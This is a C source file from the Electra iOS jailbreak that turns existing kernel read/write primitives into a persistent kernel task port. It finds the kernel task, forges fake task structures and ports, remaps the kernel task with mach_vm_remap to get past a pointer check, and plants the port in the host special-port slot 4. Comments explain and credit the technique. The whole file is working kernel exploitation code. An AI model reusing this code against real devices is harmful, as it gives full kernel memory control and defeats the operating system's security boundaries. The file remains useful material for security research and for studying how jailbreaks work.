remap_tfp_set_hsp.c 6.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184
  1. //
  2. // remap_tfp_set_hsp.c
  3. // electra
  4. //
  5. // Created by Viktor Oreshkin on 16.01.18.
  6. // Copyright © 2018 Electra Team. All rights reserved.
  7. //
  8. #include "remap_tfp_set_hsp.h"
  9. #include <stdlib.h>
  10. #include "kmem.h"
  11. #include "symbols.h"
  12. #include "kutils.h"
  13. #include "find_port.h"
  14. #include "patchfinder64.h"
  15. kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit);
  16. uint64_t make_fake_task(uint64_t vm_map) {
  17. uint64_t fake_task_kaddr = kmem_alloc(0x1000);
  18. void* fake_task = malloc(0x1000);
  19. memset(fake_task, 0, 0x1000);
  20. *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
  21. *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
  22. *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
  23. *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
  24. kmemcpy(fake_task_kaddr, (uint64_t) fake_task, 0x1000);
  25. free(fake_task);
  26. return fake_task_kaddr;
  27. }
  28. // in async_wake.h
  29. void make_port_fake_task_port(mach_port_t port, uint64_t task_kaddr);
  30. int remap_tfp0_set_hsp4(mach_port_t *port) {
  31. // huge thanks to Siguza for hsp4 & v0rtex
  32. // for explainations and being a good rubber duck :p
  33. // see https://github.com/siguza/hsp4 for some background and explaination
  34. // tl;dr: there's a pointer comparison in convert_port_to_task_with_exec_token
  35. // which makes it return TASK_NULL when kernel_task is passed
  36. // "simple" vm_remap is enough to overcome this.
  37. // However, vm_remap has weird issues with submaps -- it either doesn't remap
  38. // or using remapped addresses leads to panics and kittens crying.
  39. // tasks fall into zalloc, so src_map is going to be zone_map
  40. // zone_map works perfectly fine as out zone -- you can
  41. // do remap with src/dst being same and get new address
  42. // however, using kernel_map makes more sense
  43. // we don't want zalloc to mess with our fake task
  44. // and neither
  45. // proper way to use vm_* APIs from userland is via mach_vm_*
  46. // but those accept task ports, so we're gonna set up
  47. // fake task, which has zone_map as its vm_map
  48. // then we'll build fake task port from that
  49. // and finally pass that port both as src and dst
  50. // last step -- wire new kernel task -- always a good idea to wire critical
  51. // kernel structures like tasks (or vtables :P )
  52. // and we can write our port to realhost.special[4]
  53. // we can use mach_host_self() if we're root
  54. mach_port_t host_priv = fake_host_priv();
  55. int ret;
  56. uint64_t remapped_task_addr = 0;
  57. // task is smaller than this but it works so meh
  58. uint64_t sizeof_task = 0x1000;
  59. uint64_t kernel_task_kaddr;
  60. {
  61. // find kernel task first
  62. kernel_task_kaddr = rk64_electra(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
  63. while (kernel_task_kaddr != 0) {
  64. uint64_t bsd_info = rk64_electra(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
  65. uint32_t pid = rk32_electra(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
  66. if (pid == 0) {
  67. break;
  68. }
  69. kernel_task_kaddr = rk64_electra(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_PREV));
  70. }
  71. if (kernel_task_kaddr == 0) {
  72. printf("[remap_kernel_task] failed to find kernel task\n");
  73. return 1;
  74. }
  75. printf("[remap_kernel_task] kernel task at 0x%llx\n", kernel_task_kaddr);
  76. }
  77. mach_port_t zm_fake_task_port = MACH_PORT_NULL;
  78. mach_port_t km_fake_task_port = MACH_PORT_NULL;
  79. ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &zm_fake_task_port);
  80. ret = ret || mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &km_fake_task_port);
  81. if (ret == KERN_SUCCESS && *port == MACH_PORT_NULL) {
  82. ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, port);
  83. }
  84. if (ret != KERN_SUCCESS) {
  85. printf("[remap_kernel_task] unable to allocate ports: 0x%x (%s)\n", ret, mach_error_string(ret));
  86. return 1;
  87. }
  88. // strref \"Nothing being freed to the zone_map. start = end = %p\\n\"
  89. // or traditional \"zone_init: kmem_suballoc failed\"
  90. uint64_t zone_map_kptr = find_zone_map_ref();
  91. uint64_t zone_map = rk64_electra(zone_map_kptr);
  92. // kernel_task->vm_map == kernel_map
  93. uint64_t kernel_map = rk64_electra(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));
  94. uint64_t zm_fake_task_kptr = make_fake_task(zone_map);
  95. uint64_t km_fake_task_kptr = make_fake_task(kernel_map);
  96. make_port_fake_task_port(zm_fake_task_port, zm_fake_task_kptr);
  97. make_port_fake_task_port(km_fake_task_port, km_fake_task_kptr);
  98. km_fake_task_port = zm_fake_task_port;
  99. vm_prot_t cur, max;
  100. ret = mach_vm_remap(km_fake_task_port,
  101. &remapped_task_addr,
  102. sizeof_task,
  103. 0,
  104. VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR,
  105. zm_fake_task_port,
  106. kernel_task_kaddr,
  107. 0,
  108. &cur, &max,
  109. VM_INHERIT_NONE);
  110. if (ret != KERN_SUCCESS) {
  111. printf("[remap_kernel_task] remap failed: 0x%x (%s)\n", ret, mach_error_string(ret));
  112. return 1;
  113. }
  114. if (kernel_task_kaddr == remapped_task_addr) {
  115. printf("[remap_kernel_task] remap failure: addr is the same after remap\n");
  116. return 1;
  117. }
  118. printf("[remap_kernel_task] remapped successfully to 0x%llx\n", remapped_task_addr);
  119. ret = mach_vm_wire(host_priv, km_fake_task_port, remapped_task_addr, sizeof_task, VM_PROT_READ | VM_PROT_WRITE);
  120. if (ret != KERN_SUCCESS) {
  121. printf("[remap_kernel_task] wire failed: 0x%x (%s)\n", ret, mach_error_string(ret));
  122. return 1;
  123. }
  124. uint64_t port_kaddr = find_port_address_electra(*port, MACH_PORT_TYPE_SEND);
  125. printf("[remap_kernel_task] port kaddr: 0x%llx\n", port_kaddr);
  126. make_port_fake_task_port(*port, remapped_task_addr);
  127. if (rk64_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) != remapped_task_addr) {
  128. printf("[remap_kernel_task] read back tfpzero kobject didnt match!\n");
  129. return 1;
  130. }
  131. // lck_mtx -- arm: 8 arm64: 16
  132. const int offsetof_host_special = 0x10;
  133. uint64_t host_priv_kaddr = find_port_address_electra(mach_host_self(), MACH_PORT_TYPE_SEND);
  134. uint64_t realhost_kaddr = rk64_electra(host_priv_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
  135. wk64_electra(realhost_kaddr + offsetof_host_special + 4 * sizeof(void*), port_kaddr);
  136. return 0;
  137. }